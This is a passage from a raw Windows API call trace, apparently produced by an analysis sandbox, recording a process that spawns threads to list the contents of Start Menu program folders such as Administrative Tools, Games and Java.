ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0049.590] wcscmp (_String1="Windows PowerShell", _String2=".") returned 1 [0049.591] wcscmp (_String1="Windows PowerShell", _String2="..") returned 1 [0049.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442c50 [0049.591] wcscpy (in: _Dest=0x442c50, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0049.591] wcscat (in: _Dest=0x442c50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0049.591] wcscat (in: _Dest=0x442c50, _Source="Windows PowerShell" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0049.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x442c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0049.592] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0049.592] wcscmp (_String1="Wordpad.lnk", _String2=".") returned 1 [0049.592] wcscmp (_String1="Wordpad.lnk", _String2="..") returned 1 [0049.592] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0049.592] FindClose (in: hFindFile=0x40a328 | out: hFindFile=0x40a328) returned 1 [0049.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fc68) returned 1 [0049.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417350) returned 1 [0049.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416ae0) returned 1 Thread: id = 474 os_tid = 0xe58 [0049.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x424378 [0049.242] wcscpy (in: _Dest=0x424378, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0049.242] wcscat (in: _Dest=0x424378, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\" [0049.242] wcscat (in: _Dest=0x424378, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0049.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0049.242] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0049.243] wcscmp (_String1=".", _String2=".") returned 0 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.243] wcscmp (_String1="..", _String2=".") returned 1 [0049.243] wcscmp (_String1="..", _String2="..") returned 0 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="COMPON~1.LNK")) returned 1 [0049.243] wcscmp (_String1="Component Services.lnk", _String2=".") returned 1 [0049.243] wcscmp (_String1="Component Services.lnk", _String2="..") returned 1 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="COMPUT~1.LNK")) returned 1 [0049.243] wcscmp (_String1="Computer Management.lnk", _String2=".") returned 1 [0049.243] wcscmp (_String1="Computer Management.lnk", _String2="..") returned 1 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="DATASO~1.LNK")) returned 1 [0049.243] wcscmp (_String1="Data Sources (ODBC).lnk", _String2=".") returned 1 [0049.243] wcscmp (_String1="Data Sources (ODBC).lnk", _String2="..") returned 1 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.243] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.243] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="EVENTV~1.LNK")) returned 1 [0049.243] wcscmp (_String1="Event Viewer.lnk", _String2=".") returned 1 [0049.243] wcscmp (_String1="Event Viewer.lnk", _String2="..") returned 1 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="ISCSII~1.LNK")) returned 1 [0049.243] wcscmp (_String1="iSCSI Initiator.lnk", _String2=".") returned 1 [0049.243] wcscmp (_String1="iSCSI Initiator.lnk", _String2="..") returned 1 [0049.243] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="MEMORY~1.LNK")) returned 1 [0049.243] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="PERFOR~1.LNK")) returned 1 [0049.244] wcscmp (_String1="Performance Monitor.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Performance Monitor.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="PRINTM~1.LNK")) returned 1 [0049.244] wcscmp (_String1="Print Management.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Print Management.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="SECURI~1.LNK")) returned 1 [0049.244] wcscmp (_String1="Security Configuration Management.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Security Configuration Management.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0049.244] wcscmp (_String1="services.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="services.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0049.244] wcscmp (_String1="System Configuration.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="System Configuration.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0049.244] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0049.244] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0049.244] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2=".") returned 1 [0049.244] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2="..") returned 1 [0049.244] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0049.244] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0049.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459a30) returned 1 [0049.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424378) returned 1 [0049.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 Thread: id = 475 os_tid = 0xe5c [0049.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4473a8 [0049.246] wcscpy (in: _Dest=0x4473a8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0049.246] wcscat (in: _Dest=0x4473a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\" [0049.246] wcscat (in: _Dest=0x4473a8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*" [0049.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0049.246] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0049.246] wcscmp (_String1=".", _String2=".") returned 0 [0049.246] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.246] wcscmp (_String1="..", _String2=".") returned 1 [0049.246] wcscmp (_String1="..", _String2="..") returned 0 [0049.246] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.246] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.246] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.246] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 1 [0049.246] wcscmp (_String1="GameExplorer.lnk", _String2=".") returned 1 [0049.246] wcscmp (_String1="GameExplorer.lnk", _String2="..") returned 1 [0049.246] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 0 [0049.246] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0049.246] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459a30) returned 1 [0049.246] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4473a8) returned 1 [0049.246] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e4b8) returned 1 Thread: id = 476 os_tid = 0xe60 [0049.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e4b8 [0049.247] wcscpy (in: _Dest=0x45e4b8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0049.247] wcscat (in: _Dest=0x45e4b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\" [0049.247] wcscat (in: _Dest=0x45e4b8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*" [0049.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0049.247] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0049.248] wcscmp (_String1=".", _String2=".") returned 0 [0049.248] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.248] wcscmp (_String1="..", _String2=".") returned 1 [0049.248] wcscmp (_String1="..", _String2="..") returned 0 [0049.249] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1 [0049.249] wcscmp (_String1="About Java.lnk", _String2=".") returned 1 [0049.249] wcscmp (_String1="About Java.lnk", _String2="..") returned 1 [0049.249] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1 [0049.249] wcscmp (_String1="Check For Updates.lnk", _String2=".") returned 1 [0049.249] wcscmp (_String1="Check For Updates.lnk", _String2="..") returned 1 [0049.249] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1 [0049.249] wcscmp (_String1="Configure Java.lnk", _String2=".") returned 1 [0049.249] wcscmp (_String1="Configure Java.lnk", _String2="..") returned 1 [0049.249] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, 